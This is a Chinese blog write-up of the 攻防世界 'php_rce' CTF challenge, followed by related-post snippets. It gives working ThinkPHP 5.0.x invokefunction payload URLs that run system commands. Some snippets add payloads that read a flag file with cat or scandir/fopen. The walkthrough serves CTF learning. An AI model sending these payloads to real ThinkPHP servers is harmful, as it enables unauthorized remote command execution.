攻防世界-php_rce详解

最新推荐文章于 2025-10-15 14:44:39 发布
原创 最新推荐文章于 2025-10-15 14:44:39 发布 · 1.3w 阅读 · 30 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文详细介绍了如何利用ThinkPHP 5.0.2框架中的远程命令执行(RCE)漏洞。通过特定的payload，成功在目标环境中执行了远程命令，如ls和phpinfo，最终在根目录下找到了flag文件，揭示了flag{thinkphp5_rce}

php_rce

在这里插入图片描述
进入后发现是一个php框架，根据题目php-rce远程命令执行，我们在github上一下这个版本有什么漏洞：
在这里插入图片描述
在这里插入图片描述
发现好几个版本，我们只知道5.0随便输入一个试一试，发下新有提示为5.0.2
在这里插入图片描述
payload

6、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
7、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

（注意这里我们只复制thinkphp_5.0.21后面的，因为前面是靶场地址 ）

发现可以进行远程命令执行：
在这里插入图片描述
ls查看目录没有什么可疑的
在这里插入图片描述
继续查看上级目录，最终在根目录下查到flag文件
在这里插入图片描述
用find命令查找与flag相关的
在这里插入图片描述
在这里插入图片描述
flag：
flag{thinkphp5_rce} flag{thinkphp5_rce}

攻防世界_php_rce（ThinkPHP框架）
2401_87524087的博客
02-02 1172
常见攻击方式 Web应用漏洞利用：如PHP应用中，若对用户输入过滤不严格，攻击者可通过表单、URL参数等注入恶意命令，借助服务器执行命令的函数，像 system() 、 exec() 等实现远程命令执行。RCE指攻击者能通过网络远程控制目标系统，执行恶意命令，获取敏感信息、控制设备、传播恶意软件等，对系统安全和数据造成极大威胁。RCE（Remote Command Execution）远程命令执行，是一种严重的网络安全漏洞。点链接，发现是广告，没什么特别的，再看题目php.rce，查一下RCE是什么。
php_rce
weixin_43906500的博客
01-30 1383
攻防世界中习题 可知其为thinkphp5的远程代码执行漏洞，通过查阅资料可知 由于ThinkPHP5框架对控制器名没有进行足够的安全检测，导致在没有开启强制路由的情况下，黑客构造特定的请求，可直接GetWebShell。 影响版本 ThinkPHP 5.0系列 < 5.0.23 ThinkPHP 5.1系列 < 5.1.31 相关代码 think\Container在tp运行的时候就会被加载。使用think\Container这个字符串实例化控制器的时候就会实例化Contain
攻防世界(WEB)——php_rce
NanGuai的博客
10-22 491
RCE英文全称：remote command/code execute，顾名思义，就是来通过远程命令来执行代码。看到这里我想到了之前做过的一道题，这里附上链接，大家可以再次回味一下。进入网页发现可以点击的超链接都是直接到了七牛云和顶想云的官网，这里应该只是广告。根据题目可以知道这道题与rce相关，先来学习一下rce。百度搜索ThinkPHP V5发现这是一个存在rce漏洞的PHP框架（V5版本），先利用find命令找找有没有与flag相关的东西。果然找到了flag文件。
网安渗透测试教程—RCE远程代码执行漏洞详解！零基础小白入门教程建议收藏！
最新发布
qq_41314882的博客
10-15 578
RCE（远程代码执行）漏洞是一种高危安全漏洞，允许攻击者在目标系统上执行任意命令或代码，从而控制系统。该漏洞通常因应用程序未严格验证用户输入导致，攻击者可通过构造恶意指令利用系统函数执行命令。PHP中常见的危险函数包括exec、system、passthru等，这些函数若未过滤用户输入，就可能被恶意利用。命令执行漏洞可视为RCE的子集，其利用方式包括通过特殊符号拼接命令（如Windows的|、||等）。防御此类漏洞需严格过滤用户输入，避免直接拼接系统命令。
php_rce-攻防世界
szhangliwenya的博客
03-26 1834
该漏洞是由于ThinkPHP5在处理控制器传参时，没有对参数进行充分的过滤与验证，导致恶意用户可以通过提交恶意数据，构造出一个带有PHP函数的控制器方法，并通过URL参数的形式访问该方法，从而触发远程代码执行漏洞。远程命令/代码执行漏洞，简称RCE漏洞，可以让攻击者直接向后台服务器远程注入操作系统命令或者代码，从而控制后台系统。参数通常用于指定ThinkPHP框架中的模块/控制器/方法。服务器没有针对执行函数做过滤，导致在没有指定绝对路径的情况下就执行命令。查看 flag目录下的文件。
【攻防世界】三 --- php_rce
qq_43168364的博客
12-23 547
题目 — php_rce 一、writeup 主页中提示使用了ThinkPHP V5 在github中搜一下ThinkPHP V5的相关漏洞，可以找到一些 由于我们不知其具体的版本，随便找一个执行一下，这里选择第一个 会显出了root 说明thinkphp的版本可能就是：5.0.22，在选择下面的命令执行paylaod执行 可以执行命令 执行find命令查找flag相关文件 可以在根目录下找到flag文件 使用cat命令可以看到flag 二、知识点 Thinkphp5 的 5.0.22
[wp] 攻防世界 php_rce
MercyLin的博客
09-25 7868
根据提示,上网搜了下thinkphp5 rce漏洞,改一改payload就出了emmm ?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("cat%20../../../flag");%27 下次写个...
攻防世界——php_rce
qq_60905276的博客
11-11 1888
我看不懂，查一下资料发现ThinkPHP V5曾经出现一个漏洞，来学习一下。 ThinkPHP 5漏洞简介 ThinkPHP官方2018年12月9日发布重要的安全更新，修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新，由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞，受影响的版本包括5.0和5.1版本，推荐尽快更新到最新版本。 看得出来程序没经过控制器进行过滤，所以可以用/来控制程序。 搞不懂这个漏洞是怎么搞出来的，借用一下大神的答案。 ?
攻防世界php_rce
08-26
- *1* *2* *3* [攻防世界-web篇(php_rce)详解](https://blog.youkuaiyun.com/qq_54803507/article/details/127041653)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_...
NSSCTF-WEB-easy_eval
m0_52061428的博客
10-16 1590
说是easy,实际很difficult。
攻防世界web进阶区ics-05详解
hxhxhxhxx的博客
08-06 4243
攻防世界web进阶区ics-05详解题目解法 题目 我们只能点击一个地方 解法 御剑扫描有一个css的文件 没有什么作用 发现又点了一次的时候，url发生了改变 因为是php的页面，我们试试php伪协议读取文件 http://220.249.52.133:39554/index.php?page=php://filter/read=convert.base64-encode/resource=index.php <?php error_reporting(0); @session_s
框架安全-CVE 复现&Apache Shiro&Apache Solr漏洞复现
网络空间安全学习
11-02 2146
Solr 是一个高性能，采用 Java5 开发。Solr 任意文件读取该漏洞是由于没有对输入的内容进行校验，攻击者可利用该漏洞在未授权的情况下，构造恶意数据执行SSRF攻击，最终造成任意读取服务器上的文件。 中间件：IIS，Apache，Nginx，Tomcat，Docker，K8s，Weblogic，JBoos，WebSphere，Jenkins ，GlassFish，Jetty，Jira，Struts2，Laravel，Solr，Shiro，Thinkphp，Spring，Flask，jQuery 等。
Penetration_Testing_POC-About 渗透测试有关的POC、EXP、脚本、提权、小工具等
weixin_46280935的博客
09-10 6528
Penetration_Testing_POC 搜集有关渗透测试中用到的POC、脚本、工具、文章等姿势分享，作为笔记吧，欢迎补充。 Penetration_Testing_POC 请善用搜索[Ctrl+F]查找 IOT Device&Mobile Phone Web APP 提权辅助相关 PC tools-小工具集合 文章/书籍/教程相关 说明 请善用搜索[Ctrl+F]查找 IOT Device&Mobile Phone 天翼创维awifi路由器存在多处未授权访问漏
攻防世界XCTF：php_rce
末初 · mochu7
03-13 4100
漏洞预警： https://help.aliyun.com/noticelist/articleid/1000081331.html?spm=5176.2020520001.1004.7.2e874bd363uLuf 漏洞描述： 由于ThinkPHP5框架对控制器名没有进行足够的安全检测，导致在没有开启强制路由的情况下，黑客构造特定的请求，可直接GetWebShell。 影响版本： Think...
PHP_RCE
The code way of kinnisoy
03-22 4277
常用函数： system(); scandir(); fopen("",""); url代码执行payload /?url= $g=scandir(%22../../../%22)[7]; $f=fopen(%22../../../$g%22,%22r%22); while(!feof($f)) { echo%20 fgetc($f); }// %20 %22 "
php_rce(攻防世界lv.2)
qq_66013948的博客
10-25 487
可以看到当前目录内的文件，既然这样能够成功，那么我们就可以试着把退回根目录找有关flag的文件夹或者文件，最后在根目录上找的了个flag的文件夹，之后就是构造payload为。这是一道关于thinkphp5的一个典型的rce漏洞，可以去。里面看有关漏洞的分析，通常构造的payload为。可以看到flag了。
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值